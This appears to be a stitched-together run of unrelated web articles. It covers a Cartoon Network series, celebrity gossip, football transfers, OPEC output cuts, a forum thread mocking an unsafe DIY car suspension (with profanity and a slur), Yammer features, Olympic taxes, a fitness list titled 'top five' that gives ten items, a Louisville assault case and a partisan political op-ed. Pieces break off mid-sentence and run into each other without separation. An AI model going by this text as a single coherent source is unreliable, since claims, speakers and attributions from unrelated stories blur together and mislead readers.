The series is produced by Cartoon Network Studios and created by Kyle A. Carrozza (“The SpongeBob Movie: Sponge Out of Water”). In season two, Prohyas and Vambre are set to embark on epic adventures and even more hilarious quests in pursuit of the latest and greatest Magiswords to add to their coveted collections.
Originally developed as a series of interactive short videos on the Cartoon Network Anything app, “Mighty Magiswords” was the first project to be developed as a digital-first property by Cartoon Network, then migrate to the company’s linear cable channel.
Cartoon Network also announced Thursday that it will launch a new “Mighty Magiswords” game, “Surely You Quest” Feb. 16 on iTunes, Google Play, and Amazon. “Surely You Quest” connects to the existing MagiMobile app and gives fans access to their Magiswords, allowing them to expand their collections. “Surely You Quest” players can use swords previously earned in MagiMobile for gameplay in the new app.Advertisement
Topshop heiress Chloe Green, whose father Sir Philip is worth an estimated £3.8billion, displayed a diamond on her ring finger while getting close to her unlikely boyfriend Jeremy Meeks in a series of social media posts.
The 26-year-old shoe designer sparked engagement speculation as she displayed an eye-popping diamond on her ring finger, in shots posted on Instagram pages during a trip to Malibu Beach on Tuesday, where they were spied looking extremely cosy, with Jeremy even cupping his girlfriend's cleavage before she perched on his lap.
Chloe and Jeremy, 33, have received a huge amount of backlash over their relationship, which surfaced as an affair during his eight-year marriage to wife Melissa - yet they seemed totally undeterred as they got up close on the shores with the stunner looking sensational in a skin-tight black dress.
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Up close: Topshop heiress Chloe Green, whose father Sir Philip is worth an estimated £3.8billion, displayed a diamond on her ring finger while getting close to her unlikely boyfriend Jeremy Meeks in a series of social media posts before they were spotted heading out and about
Jeremy and Chloe have been publicly parading their blossoming relationship in the spotlight, despite his marriage to estranged wife Melissa ending shortly before.
The duo have made no attempt at keeping their new-found love low-key, with Jeremy posing at Topshop's LA shop window at The Grove earlier this month before being pictured on a string of public dates shortly after - with Tuesday's romantic trip to the shore only heightening the buzz surrounding their romance.
Jeremy sent shock waves across the Internet when pictures first emerged of him kissing Chloe on a yacht in Turkey in July - yet the new images seem to allude to the couple taking their romance to the next level due to Chloe's choice of jewellery, with the one ring particularly catching the eye.
As the couple kissed and cuddled blissfully, they could not keep their hands off each other shortly before Chloe shared another clip while professing: 'I love you'.
Bling, bling: The 26-year-old shoe designer sparked engagement speculation as she displayed an eye-popping diamond on her ring finger, in shots posted on Instagram pages during a trip to Malibu Beach on Tuesday, where they were spied looking extremely cosy, with Jeremy even cupping his girlfriend's cleavage
Bling, bling! Chloe's ring was on full display alongside her huge diamond earrings and stacks of bangles
Bling, bling: The 26-year-old shoe designer sparked engagement speculation as she displayed dripping jewels, which she alternated between her two ring fingers throughout the day, in shots posted on both her and the convict-turned-model's Instagram pages during a trip to Malibu Beach on Tuesday
Cheeky! At one point in the outing, Jeremy cupped his girlfriend's cleavage in a very cheeky display - letting their romance to be known to all present on the beach
Matching looks: The couple sported matching baseball caps and equally casual ensembles as they enjoyed their beach day
'My baby': She also posted a clip herself under which she added a gushing caption reading: 'Beautiful day on the beach with my baby'
Lapping it up: As they chilled on the beach, Chloe sat on her boyfriend's lap while he reclined casually
Hold me close and don't let go: The happy couple were equally casual for their jaunt along the shore
In one stand-out snap, she draped her hands over her boyfriend's arms with her own hands inches from the camera which displayed her various diamonds.
Another video of the couple saw Jeremy driving a plush Porsche car while filming himself driving and frequently turning the camera on Chloe. She also posted a clip herself under which she added a gushing caption reading: 'Beautiful day on the beach with my baby'.
The couple's action came in the midst of their day at the beach, during which Chloe was looking sensational as she went braless beneath a black ribbed dress which made the most of her figure.
Hold me close: The happy pair could not tear themselves away from one another - with their affections plain to see
Strutting their stuff: The happy couple were proudly walking hand in hand as they continue to flaunt their romance
A good looking pair! The happy couple boasted smouldering stares as they made their way along the shore
Hapy days! Jeremy and Chloe seem to be happily adapting to life as a couple, with their chilled out display proving things are going swimmingly
Having a giggle: The happy couple clung on to one another during their fun-filled day to the beach
Equally stylish was Jeremy who went for a cargo-inspired ensemble with a vest top and matching shorts - all tied together with a pair of matching trainers and a cap.
MailOnline has contacted a representative for Jeremy for comment.
Jeremy and Chloe have just returned from a romantic holiday in Barbados, where the the pair yet again caused mass controversy with their romance.
While Chloe turned her Instagram profile private following heavy criticism over their relationship, the brunette proceeded to share various sweet selfies with the 'hot felon' in the sunshine - proving they were only going from strength to strength.
One holiday to another: Jeremy and Chloe have just returned from a romantic holiday in Barbados with Chloe, yet the the pair caused mass controversy with their romance
Happy days: The couple have been proudly flaunting their love since hooking up earlier this year, particularly when a scantily-clad Chloe joined her boyfriend at Kadooment Day in Barbados earlier this month
Lost love: Melissa (pictured) is mother to his biological child Jeremy Jr, seven, and Robert, 11, Melissa’s son from a previous relationship. She also has a daughter, 16-year-old Ellie, and says both stepchildren consider Meeks a father figure
Hold on tight: In one stand-out snap, she draped her hands over her boyfriend's arms with the jewels inches from the camera which displayed her various diamonds
Playful: As they went for a spin the happy couple enjoyed a singalong into the camera
Tight: Chloe's post came after Jeremy switched off the comment section on his own Instagram page- leaving fans to only interact with his snaps by 'liking' it. The model appeared to be feeling the heat after publicly parading his romance to the Topshop heiress
The Topshop heiress captioned the snap: 'Life is to short not to laugh and smile and that's all we do... @jmeeks official. #nohatejustlove #everyonedeservestobehappy [sic].'
Meanwhile, Jeremy's estranged wife Melissa, who was left heartbroken when his affair was exposed, seemed to be feeling in good spirits just days before as she shared a selfie of her own.
Earlier this month, Jeremy switched off the comment section on his own Instagram page- leaving fans to only interact with his snaps by 'liking' it. The model appeared to be feeling the heat after publicly parading his romance to the Topshop heiress.
Where it all began: Jeremy soared to prominence when he was arrested in 2014 during a gang sweep in California, after which his mugshot was revealed on Facebook and went viral - earning him the moniker 'The Hot Felon' - and resulting in the launch of his modelling career
The start: Chloe soared to fame starring on Made In Chelsea as the girlfriend of Ollie Lock in 2011, while Jeremy's brush with crime led to his modelling debut at the Philipp Plein collection during New York Fashion Week in February
Lost love: She went on to date Jennifer Lopez's ex-husband Marc Anthony, with whom she |
your cats out in public like dogs, so the only way you can share is through the screen,” said Jane Super, a bartender who runs the Cat Museum of San Francisco and has several real cat tattoos.
Two women were wearing cat headpieces, waiting for the next screening to start.
“I don’t wear them all the time,” Claire Beezy, 30, said of her cat-ear headband. “I saw people joking about this festival on Facebook, and I was like, ‘no, but really I want to go.’ I always have a really good time watching cat videos – they just put me in a good mood.”
She and her friend Mel Lounsbery, 35 and wearing a cat beanie, started joking about the meme of putting cucumbers next to unsuspecting cats, who then leap in shock and panic.
“My parents have cats and I said we have to try it,” Beezy said.
“Meh, my sister tried. It didn’t work,” said Lounsbery. “The cat didn’t really respond to the cucumber.”West Ham have quoted a loan fee of £4 million to Chelsea to take Parker for the forthcoming campaign and will also demand his £65,000-a-week wages are paid in full.
Chelsea will not offer to pay so much for a loanee, and, in truth, West Ham would have accepted less, although certainly more than £2 million.
However, Chelsea are now debating whether to sign Parker on a permanent basis — he is available for £8 million — after Aston Villa, in particular, stepped up their pursuit.
Indeed it could be that Chelsea have to raise their bid to £9 million, which would be remarkable given they acquired Parker in 2004 for £10 million and then sold him a year later for around £6.5 million to Newcastle United.
It is understood that Parker, who still lives close to Chelsea’s training ground in Cobham, Surrey, is keen to join his former club and although West Ham were interested in a loan deal it may be best for the Championship club to agree a permanent transfer for the 30 year-old if their demands are met.
West Ham sources expect Parker to join Chelsea.
The serious knee injury to Michael Essien has concentrated Chelsea’s minds on improving their midfield options.
Their main priority remains signing Luka Modric from Tottenham Hotspur with the midfielder now understood to have submitted a formal transfer request to try to push through the move. They are also interested in Porto left-back/left midfielder Alvaro Pereira.
Spurs chairman Daniel Levy is adamant that Modric is not for sale and has rejected Chelsea’s opening offer of £22 million and an improved bid of £27 million.
It is now expected that Chelsea will return with a new offer of at least £30 million and could go as high as £35 million, with add-ons, to sign the 25 year-old.
Spurs manager Harry Redknapp said on Thursday that he was not aware whether Modric had submitted a formal transfer request — the club are insistent one has not been received while sources close to the player claim he personally delivered it to Levy — but added: “We know he wants to leave, whether he writes it down on a piece of paper doesn’t really make any difference to our stance. He’s a great player and we don’t want to lose him.”
Modric is with the rest of the Spurs squad on the pre-season tour to South Africa.
West Ham are today hoping to announce the signing of former Chelsea striker Eidur Gudjohnsen on a free transferAt their meeting last month, OPEC pledged to cut oil production by 1.2 million barrels per day (b/d) from January 2017 and the 14-member cartel hopes non-OPEC nations can also agree to limit supply to further prop up oil prices.
"We're hoping for 600,000 (barrels per day to be cut) from non-OPEC (countries) so that is going to be a substantial volume that will bring health back into the market," Khalid Al Falih, Saudi Arabia's minister of energy told CNBC on November 30, the day of the OPEC deal.
Russia has said it is prepared to commit to a 300,000 b/d production cut which should, in theory, mean all of the other non-OPEC countries combined would only have to match Russia's pledge in order for OPEC to hit its target.
However, only five of the 14 non-OPEC oil producing countries have agreed to attend the meeting on Saturday, according to a Reuters report which cited two OPEC sources.A thread on StanceWorks — the popular forum for lowered and hellaflush cars — began with a proud 2001 Honda Civic owner showing off his trunk-rattling sound system and slammed car. Then forum members quickly discovered how he lowered the car. As you can see, it's the kind of horrific DIY engineering that makes you want to scream, "You're doing it wrong!"
The owner, who goes by the name smokenyall, begins by introducing his "project loud and low" with some videos of its massive sound system shaking the car with some trap rap.
okay well ill introduce myself im from northern cali my 01 civic ex has 278,XXX and climbing, original tranny and motor its all stock exterior wise except my volvo lip.
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When smokenyall shows pictures of his new suspension modifications "for teh extra lows," StanceWorks forum members realize that they are dealing with someone who has no idea what he's doing. One person calls the Honda owner a ricer, which clearly hurts the owner's feelings, but it is forum member OpelWagenGT who steps in as the voice of reason.
I think regardless of whether or not you are a "ricer" that is definitely not the correct way to raise your strut towers. Nor is that method safe. Are you even using grade 8 bolts? The force of the suspension should be distributed into the shock tower not centralised on the three small bolt locations.
Smokenyall responds that his bolts are fine and there's even a plate to distribute the force from the suspension. After pointing out that the plate is attached with a rusted bolts, OpelWagenGT steps in with an extremely helpful diagram.
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I drew up something is MS paint real quick to attemp to show you why your setup is dangerous, because apparently you don't understand. At this point I don't think anyone is going to change your mind but we just want you to know that what you're doing is not safe so you can't complain if the system fails.
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Smokenyall seems to take this to heart and ends up declaring that he is going to replace the bolts with spacers, as if that will solve the whole problem. This is when the thread starts getting new visitors and people lose their temper. User cobrawannabe begins the mandatory internet hate fest.
Put down the f***ing weed when you come up with car "modifications". This is f***ing offensive. Dude, I'm never harsh or rude on S/W because I feel my car needs a lot of work before I have license to be; but COME ON. This is an absolute joke, and a danger to everyone in your car. You are the epitome of "stupid Honda kid". I really respect a lot of the Honda scene, there are some guys out there really setting the bar.
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Smokenyall is still open to advice, asking how he can make his "top hats" safer and responding to the growing number of demands that he never work on cars again:
Thats never going to happen. okay what would you guys suggest to make my top hats "safer". I already have had spacers cut to replace the nuts that were being used as spacers, and im waiting for them to arrive to my house. Should i flip my bolts over and have the heads welded to the bottom plate how obk did or how the hotchkis plates came. btw if you guys didnt notice obk is using one nut per bolt as a spacer on top of the hotchkis spacers.
User 325irollin explains why even when he goes looking for help, he's being a complete idiot.
how about you just buy some fucking coilovers and get a shop to install them for you the proper way since you obviously suck at being a mechanic.
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At this point, all semblance of helpfulness disappears from the threat, smokenyall disappears, new visitors start showing up, and any hope for civil discussion disappears with the first posted image macro. Aside from people just laughing at smokenyall's Civic, one post sums things up pretty clearly:
YOU JUST BECAME INTERNET FAMOUS FOR BEING A RETARD!
As the StanceWorks forum members predicted, the thread is now going viral, and check out this thread at vwvortex to see this Civic owner get more unhelpful, completely deserved ridicule.
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Hat Tip to: snapundersteer!)
Photo Credit: smokenyall, stanceworks (lead image); OpelWagenGT (diagram)Microsoft's Yammer enterprise social-networking team is among the fastest of the fast-track teams at the company, delivering "weekly enhancements" to the Yammer mobile applications for iOS and Android.
On February 3, the team blogged about "a new round of innovations" (which may mean more important or noteworthy updates) that are rolling out for Yammer on iOS and Android.
On iOS, the Yammer team introduced "Handoff," a feature designed to allow users to swipe screens to transition across Apple phones, tablets and PCs running iOS and Mac OS X Yosemite.
On Android, Microsoft announced Yammer support for Android Wear. Users can "like" team messages or reply using voice commands on Android wearable watches/devices. "Liking" posts directly from the redesigned Yammer notifications for iOS and Android, both, is now possible.
The team cited other enhancements for the two platforms, such as notifications roll-up by threads and the ability to flesh the LED on Android phones to announce incoming Yammer notifications.
Yes, Windows and Windows Phone fans: There were no announcements this week of new Yammer features for Windows on phones, tablets or PCs. But a Microsoft spokesperson said news about Yammer on Windows 10 would be coming "soon."
In related news this week, Microsoft officials also announced that the company has hired a former Adobe vice president to work on the Applications and Services Group (ASG) at Microsoft to help make-over the UI across many of Microsoft's cross-platform software products and services.
Newly-minted ASG Corporate Vice President Michael Gough, who led a number of design initiatives at Adobe, will be spearheading work to create a unified design language/style to Office 365, Skype, Bing, Yammer, Exchange, MSN and other products and services. He will report to Corporate Vice President Julie Larson-Green.WINNIPEG — Winnipeg Police’s armoured vehicle was on scene at College Avenue just before midnight Friday night.
Police told Global News they were on scene at the 800 block of College Avenue just before midnight and expected to spend much of Saturday on scene responding to an incident.
Police are currently involved in an incident on College btwn Sinclair & Arlington. Please avoid the area. — Winnipeg Police (@wpgpolice) January 7, 2017
Earlier Saturday College Avenue was closed down between Arlington Street and Sinclair Street for one block. The armoured vehicle remained on scene until just after 10 a.m. and forensics followed in after.
A few police cars still on scene outside of house on College Ave. Officers going in and out of house, and knocking on neighbours doors. pic.twitter.com/GLEsvGGOPI — Shelden Rogers (@SheldenGlobal) January 7, 2017
Little details have come out, but police are expected to release more later on Saturday.What is it about Seattle that’s led some folks to call it the “Silicon Valley of space,” and how far can space entrepreneurs go in the next 20 years? One of the panels at Friday’s Xconomy Seattle 2035 conference tackled those questions – and added a couple of shorter-term predictions as well.
Jason Andrews, the CEO of Seattle-based Spaceflight Inc., listed three reasons why Seattle is up there with Southern California, Silicon Valley, Texas and Florida’s Space Coast when it comes to commercial spaceflight.
First, there’s access to software developers: Space operations have become much more computerized, and that means space-minded entrepreneurs can draw upon the talent fostered by Microsoft, Amazon and other tech titans.
That was a big factor behind SpaceX founder Elon Musk’s decision to set up an engineering campus in Seattle. (“A lot of you guys don’t seem to want to move to L.A.,” he told his Seattle prospects during a January visit.) It’s also a factor behind the shift of Spaceflight’s HQ from Tukwila to Seattle’s Westlake Avenue. (Andrews joked that Musk “went a thousand miles … I went 15.”)
When it comes to engineering talent, the leading role that Boeing has played over the past 99 years has to count as a huge boost to Seattle’s stature in aerospace.
Second, there’s access to the experts on big data. The next generation of small satellites, including the constellation due to be put into orbit by Andrews’ BlackSky Global venture, will be sending down huge volumes of data. In BlackSky Global’s case, that takes the form of real-time, on-demand Earth imagery. For SpaceX, that could be global broadband Internet traffic. Whatever the application, big data and cloud computing are part of the equation, and Seattle currently has the edge.
Finally, there’s access to capital. Seattle investors have set the pace, led by such heavyweights as Jeff Bezos (with Blue Origin), Paul Allen (with Vulcan Aerospace), Bill Gates (an investor in the Kymeta satellite antenna venture) and Charles Simonyi (who’s been in orbit twice and has a stake in Redmond-based Planetary Resources).
So what opportunities are opening up for space entrepreneurs? The panelists listed three big markets.
Broader, faster communication: Satellite systems already play a big part in connecting people around the planet, but the next generation of satellites could extend broadband data services to the “other 3 billion” people in the world (or is that 4.4 billion?) who don’t currently have such access. The satellites could be provided by SpaceX, or OneWeb, or some other global venture. Either way, Redmond-based Kymeta wants to furnish the antennas. “You’re going to start to see a dramatic shift in people’s view of how they use satellite communications,” said Ryan Stevenson, Kymeta’s vice president and chief scientist. He said Kymeta antennas could start hitting the market about 18 months from now.
Real-time Earth imaging: Within 18 months, BlackSky Global aims to set up a system that will let anyone with a smartphone order up a real-time picture of any place on Earth and have it “in 90 minutes for 90 dollars,” Andrews said. But satellite imagery isn’t just about snapping a picture of your backyard, or North Korea’s secret launch pad. Advanced remote sensing promises to help urban planners, government agencies and venture capitalists identify where the world’s next hot spots will be. “There a $100 billion market out there that’s basically untapped,” Andrews said.
Humans in space: Right now, only millionaires or billionaires have been able to buy trips into outer space – but if companies such as Kent-based Blue Origin, California-based Virgin Galactic and XCOR Aerospace are successful, the cost of space trips for tourists, researchers and entrepreneurs will drop to $250,000 or less within the next few years. By 2035, “I do think there will be a lot more people who have been to space,” said Joe Landon, chairman of the board for Space Angels Network.
Landon cautioned, however, that there are no guarantees. It’s been exactly a year since the catastrophic breakup of Virgin Galactic’s SpaceShipTwo led to the first in-flight fatality of the commercial space race. This month also marked the anniversary of the blast that destroyed an Orbital Sciences Antares rocket as it was carrying payloads to the International Space Station (including a Planetary Resources mini-satellite). This June’s failure of a SpaceX station resupply mission only underlined the fact that lots can go wrong with rocketry.
The same goes for Seattle’s place on the space frontier. “I don’t think it’s a foregone conclusion that we’ll continue to be a leader,” Landon said. Unlike California or Florida, this region has no launch pads that can put payloads into space. And the recent workforce reductions at the Boeing Space Center in Kent illustrate how easily aerospace jobs can shift to different centers of gravity.
For decades, Seattle’s been known as “Jet City” – but as the region’s economy heads for new frontiers, there’s a need for new nicknames as well. Will those nicknames include Space City? Rocket City? Satellite City? We won’t have to wait until 2035 to find out.U.S. Olympic medalists who win medals at the Sochi Olympics will also earn large cash awards. However, these are taxed considerably above the usual income tax rate. Nonetheless, the athletes have access to reducing the taxes owed, should they bring home a medal. The medals themselves are not taxed. The right strategy can reduce the amount of taxes owed.
Athletes will earn $25,000 per gold medal, $15,000 for a silver medal, and $10,000 for a bronze medal. The Internal Revenue Service (IRS) regards these awards as earned income abroad, thus the winners will have to pay 39.6 percent income tax. A gold medal winner will pay almost $10,000 in total taxes.
While other countries’ athletes receive cash payments, many do not owe taxes. According to conservative group Americans for Tax Reform, the U.S. athletes should not either.
U.S. Representative Blake Farenthold (R-TX.) brought forth the Tax Exemptions for American Medalists (TEAM) Act, which would exempt U.S. Olympic athletes from paying taxes on the medals and any money earned. Farenthold echoed the Americans for Tax Reform’s basic grievances, stating that the current tax system has become excessive, and that the taxes facing Olympic athletes is an example of this.
Medal winning athletes have empathetic voices in Washington. During the 2012 presidential election, Republican nominee Mitt Romney and President Obama both backed a proposal to reduce income taxes related to medal winnings. A recently proposed compromise taxes earnings from medal winnings at a rate as low as 10 percent. However there may be taxes levied by states and cities in addition to federal income tax.
Tax Foundation, a nonpartisan organization, offers a suggestion that would help athletes with the tax related issue. It states that the U.S. should adopt a so-called “territorial” tax system. Such a policy would allow Americans, including Olympic athletes, to avoid paying the higher taxes associated with working abroad. The group states that much income is already taxed in the person’s host country.
With the help of agents and lawyers, Olympic athletes have some options to maximize their earnings and post-tax savings. If a sponsor wants an Olympian’s smile on a box of Wheaties Cereal (Mary Lou Retton), the athlete can accept a single cash payment for the endorsement. An alternative for the athlete is to have the cash sent to Wheaties (or whoever the sponsor is), which then pays the amount over a series of periodic installments, plus interest. The money would all still be taxable, of course. But the interest may be high enough to reduce the impact of income tax.
The Olympics remain an icon of love for sport, sportsmanship, patriotism, and good will. However, as with professional and collegiate athletics, the Olympics are undeniably tied to monetary funding and incentives. As such, income tax promises to be a fact of life for athletes. Those taxes will either have to be paid immediately along with single cash awards, or periodically with long-term endorsements. For those Olympians who do indeed win a medal at the Sochi Games, reducing the amount of taxes taken owed promises to be a challenge, something Olympic athletes are known to embrace.
By Ian Erickson
Sources:
Forbes
Fox News
Malaysian DigestA federal judge today ruled thatare free to release their new albumwithout Victory Records. In an Order issued earlier today, U.S District Court Judge John Z. Lee denied Victory Records' Motion for a Preliminary Injunction in which Victory had sought to block the band from releasing this new album without Victory's involvement.In a statement this evening the band offered: "In May of 2011 we joined the long list of bands that have filed suit against Victory Records. Although our case is still ongoing, we are very pleased with the judge’s decision to allow us to release our next record. The only thing that has mattered to us while dealing with this lawsuit was getting new music to our fans. We are finally going to do that on October 8th and we couldn't be more excited!"is only available digitally at ADTR.com and will be released Tuesday, October 8To see ADTR's 2010 Feature Story with Music Connection, visit http://www.musicconnection.com/a-day-to-rememberWhy are Senate Republicans scrambling to pass a hastily rewritten tax bill that most Americans don't even like? Think of it as the mirror image of what Democrats did seven years ago with the Affordable Care Act. When it's a core issue for your party — as tax cuts are to Republicans, health care was to Democrats — you'd better be able to pass it.
The bottom line: When Republicans control the White House and both chambers of Congress, it would be hard to explain why they couldn't pass a rewrite of the tax code — every bit as central to their agenda as health care was to the Democrats when they controlled the White House and Congress. The details, and the polling, are almost beside the point.In this article I am going to lay down my top five exercises that will make you better at everything you do. These are exercises that build strength that carries over to just about anything you are doing and can be worked into any training program regardless of goals. They help powerlifters, strongmen, CrossFitters, people who are interested in getting more fit and jacked, and athletes of all types.
This is a list of stuff you should be doing no matter what your goal. I am intentionally omitting the obvious ones like squats and deadlifts.
In no particular order, here they are.
1. Farmer’s Walks
The Farmer’s Walk is an exercise that improves just about everything depending on how you load/train it. They build strength in the:
Grip
Torso
Ankle/Knee/Hip
Upper Back
Mental Toughness
GPP/Cardio/Conditioning if programmed.
Add them in.
2. Atlas Stones
These are in the same class as the Farmer’s. They are very versatile and should be used by most.
One thing the stones do that farmers don’t is improve explosive power. They are not as good as cleans and snatches but they do help.
They require a triple extension of the ankle/knee/hip violently fast, and work well.
3. Pullups
Pullups improve lat/back strength which carries over to lots of other exercises such as the bench and the press. They improve grip strength, too. I’ve mentioned grip a few times. I think grip strength is overlooked and underrated by many.
Most sports require a great deal of grip strength. Think about that. Any sport that requires a stick, bat, or racket needs grip strength; all combat sports require grip strength, including football. Where does a strong grip not help you?
They are also pretty important in case of a Zombie apocalypse. You never know when you might have to pull yourself up to avoid being lunch.
RELATED: Picking Your Prowler® Flu Poison
4. Prowler Pushing
The Prowler® is probably the greatest innovation in the strength and conditioning field I have seen since the adjustable barbell. Prowler pushing improves everything you want, depending on what you do with it. Programming the Prowler is limitless. It can be used for:
General Strength
Single Leg Strength
Limit Strength
Cardio
GPP
Conditioning
Anaerobic/Alactic training
Get a Prowler® and do a whole bunch of different stuff with it. Sprint, load it really heavy and do short pushes, load it light and go for time, stride with it, and more. It’s really one of the best tools ever. I remember when I got my first one. Wendler called me and said “I just billed your credit card for a Prowler.”
I said “What the ***k is a Prowler?”
He replied “You want one,” and hung up.
He was right.
5. Ab Wheel
Narrowing this list down was tough. I knew I need a torso exercise and there are so many good ones, but the ab wheel is probably my personal favorite. Sure, I do a bunch of different exercises like weighted sit-ups, dragon flags, hanging leg raises, planks, and a huge variety on the TRX, but the ab wheel is a go-to.
It is (as the yuppies say) scaleable or (as we coaches say) versatile. That means it is easy to regress or progress and anyone can use it. When done right it is a killer. Where is there a time when your abs and torso are too strong?
6. Sprints
We all know the value of sprinting and we all know how much it sucks. What makes it suck is what makes them work. Your body is forced to work all out for a short duration and gets placed in oxygen debt.
When programmed correctly, sprinting increases your “wind” to use a very scientific term and increases your bodies capacity to process oxygen and they build MUSCLE.
Take a look at world class sprinters, they are all JACKED and sometimes tan, too. I don’t care too much for tans on myself, but you may. Jacked, on the other hand, is something I am still chasing.
Being able to sprint FAST and not pass out could come in handy in the event of a Zombie Apocalypse (something my 10-year old is concerned with) or a whole host of other athletic situations.
If you are not sprinting, I suggest you start.
7. Push-Ups
Push-ups work virtually every muscle in the body when done properly. I don’t mean arched back sloppy prison yard push-ups; I mean tight, fast, and explosive ones. When doing a proper push-up, you are doing what I refer to as an active plank. Holding a good plank position is a great exercise, but once you get good at them I feel they lose some effectiveness. Adding in movement challenges you more.
Watch the video below to see how to do a push up the correct way and then add them and and see what I mean.
RELATED: Six Bodyweight Exercises That Should Be In Every Training Program
8. Heavy Sandbag Clean and Press
The value of odd object lifting can’t really be debated too much. Unstable objects added into your training force you to utilize muscles not ordinarily recruited in barbell lifting. When you use your stabilizers more, you get stronger all over.
Load up a sandbag and clean and press it for reps or time at the end of a training session for a few weeks and see if your other lifts go up. Keep all the other variable the same so you know if it is working.
A good starting point is as follows:
If you can press (overhead press) 95 pounds with good form, try a 75-pound bag.
If you can press (overhead press) 135 pounds with good form, try a 100-pound bag.
If you can press (overhead press) 185 pounds with good form, try a 125-pound bag.
These are just guidelines. Bang out as many reps as you can in 60 seconds and then rest for 60. Do it again three or four times.
9. Turkish Get Ups
I’ve written about the value of the TGU many times and I still feel they are one of the best you can do for overall strength. They are not specific to any one sport or activity and have tons of value. You are lying down and holding a weight overhead then you have to get up to a standing position. During the lift you will be actively stretching and stabilizing at many points using muscles you didn’t know you had. Your flexibility will improve, your mobility will improve and you will get stronger.
I like doing singles on the TGU. They have a lot of time under tension and are very tiring when done as shown in the video below.
10. Jumping/Bounding
If I have to explain the benefits of jumps and bounds you may be on the wrong site. I’ll do it anyway.
Jumping and bounding teaches your body to quickly deliver force and then quickly absorb it. You’ll get faster, more explosive, and more agile. Jumps and bounds are not for beginners.
When introducing jumping into your program, I strongly advise that you learn the most important part first: the landing. There are many good resources here on this site to show you how. Add these and and you'll be well on your way to being more like Harry Selkow.A woman in Louisville, Kentucky was arrested last month for assaulting and robbing a disabled man after he jokingly denied God’s existence.
WDRB 41 Louisville News
According to her arrest warrant, the incident took place on October 20, when 49-year-old Laura Reid decided to visit her victim at his residence. When Reid asked the man whether he believed in God, he jokingly replied with a no, said police officials. That is when Reid got furious and picked up a metal cane to beat the disabled man on his head and body. Reportedly, she hit him so hard that the metal cane broke into pieces. After assaulting him, Reid stayed back for three long hours and when she left, she took away her victim’s keys, cell phone, $50 as well as his wallet containing credit cards.
Due to his disability, the man was not able to escape sooner but he eventually crawled his way to a nearby gas station, where police officials and emergency medical services were called immediately. The victim was then rushed to St Mary and Elizabeth Hospital, where doctors treated his injuries, including a concussion, multiple cuts, bruises, abrasions as well as a broken arm.
Investigators found that Reid already knew her victim. Even though her arrest warrant was issued on October 29, she was arrested months later on January 5 at the Hall of Justice. While she has been charged with first degree unlawful imprisonment, second degree assault and second degree robbery, she continues to be held on a $500,000 bond. Many have opined that Reid must be tried for having carried out a hate crime as well since she evidently attacked her victim upon discovering he may be an atheist.
Photo Credits: World NowIt has been a grueling year for people who care about human rights, climate change, and whatever remains of value in federal institutions from the judiciary to the diplomatic corps. This is a terrible, terrible era, one in which tremendous harm is being done to many people, to the planet and to the federal government.
In the age of Trump, it’s time to ditch the special relationship | Jonathan Freedland Read more
It is also a time in which, through the heroic work of people all over the country and the world, the regime has been exposed, thwarted and rebuked. That’s worth remembering as we face a horrific tax bill and the end of net neutrality.
This year of conflicts demonstrates that sometimes when we fight we win, and we have enormous fights ahead of us. The Trump administration is unstable for many reasons, from the erratic behaviour of the president to the Mueller investigation. Civil society has tremendous influence over what becomes of it, and of us.
It’s time to take stock of some of the encouraging phenomena that emerged from this grim year. So I made a list.
New resistance leaders are emerging
Many people found new roles in resistance, and powerful ones, including Amy Siskind with her weekly list of signs of creeping authoritarianism, Sarah Kendzior with her expertise on authoritarianism, and organizers of more than 6,000 chapters of Indivisible and other grassroots groups focused on engaging voters and winning elections.
Many others amplified their work on climate or racial justice or voting rights and connected it to the broad resistance. These times are useful in helping us see the common ground of all our ideals by seeing that the Trump administration, like its Republican predecessors and colleagues, opposes all of them. The same people who deny climate change promulgate racism, attack women’s rights, immigrant rights, etc.
Active, engaged, informed, creative, dedicated, energetic resistance works – and we need lots more of it
The failure of the Muslim ban
The Muslim ban was struck down by the courts, repeatedly. Trump’s own tweets helped make the case that they were motivated by unlawful discrimination, not public safety, and the passionate, spontaneous airport actions a week into the regime demonstrated that there would be resistance, and it would matter.
Healthcare reform was defeated
Healthcare “reform” died on the vine, but terrified and infuriated a lot of people along the way, who got active on the issue and terrified their Republican representatives back.
Voter suppression is on the agenda
Significant attention was finally brought to the important issue of racist voter suppression, gerrymandering, and other violations of voter rights that have given the Republican minority an electoral advantage. Many lawsuits going after state laws and regulations are under way. This is a battle that matters immensely: it’s about the basic rights of people of color to participate in shaping the nation. It’s about race and racism.
Too many liberal and left journalists spent the past year telling a story about the swing states focused on Clinton’s weaknesses. Too few told the story of how many people – particularly black people – in those states were prevented from voting. Until everyone knows it, it’s worth repeating that had everyone had equal voting rights, we would have had a dramatically different election.
The White House is in meltdown
We’ve seen numerous dramatic resignations/firings in the chaotic White House. Business Insider reports: “Since late July, senior level officials such as former communications director Anthony Scaramucci, chief strategist Steve Bannon, chief of staff Reince Priebus, and press secretary Sean Spicer departed the White House. Others have included Trump’s longtime body guard Keith Schiller, the director of Oval Office operations, and Sebastian Gorka, an adviser known for his cable news hits defending the administration.”
Facebook Twitter Pinterest Anthony Scaramucci didn’t last long. Photograph: Ariel Schalit/AP
Tom Price, the health and human services secretary, stepped down after a scandal about his squandering a million dollars of government money on private jets. And, of course, Michael Flynn was fired earlier this year, too (more on him below).
The Russia investigation is gathering steam
The administration is under investigation for some very serious crimes that may discredit the whole regime and incriminate, even incarcerate, some of them, including Trump family members and perhaps Trump himself.
Mueller is doing a thorough but swift job. Flynn pleaded guilty to lying to the FBI on Friday; Paul Manafort and his right-hand man are wearing ankle bracelets; the collusion of Trump’s campaign adviser George Papadopoulos was revealed as he incriminated many others in the campaign, including several still in the administration; Carter Page sang like a (drunk) canary. There’s lots more to come.
'Guilty, your honor': Michael Flynn, who led the 'lock her up' chants, enters his plea Read more
Many analysts say that such investigations start with the small fry, working their way from the periphery toward the center. They’re coming for the Trump family. Stay tuned. And be prepared for an uprising if the Republicans try to stop it.
The Russia business that so many insisted on denying through last winter is undeniable – don’t buy the idea that it’s just intelligence agencies promulgating it. The depth of this story has been exposed by superb journalistic work by many news outlets, including the Guardian; by leaked documents, including the extraordinary stuff exposed by the NSA whistleblower Reality Winner last spring; by politicians across the spectrum, from Maxine Waters to Lindsey Graham; by congressional investigations, and now by Mueller’s work – the indictments he handed down told us a lot.
Virtually everything the Putin regime is said to have done in the 2016 election was made possible by the internet
Russian interference in European votes, including the Brexit referendum, is now surfacing as well, thanks to journalists in many countries.
Julia Ioffe in the Atlantic recently broke a story about Julian Assange’s Twitter correspondence with Donald Trump Jr. Assange was doing his damnedest – as anyone who’s been paying attention the last 18 months already knew – to help Trump succeed, but now we get to read about it directly.
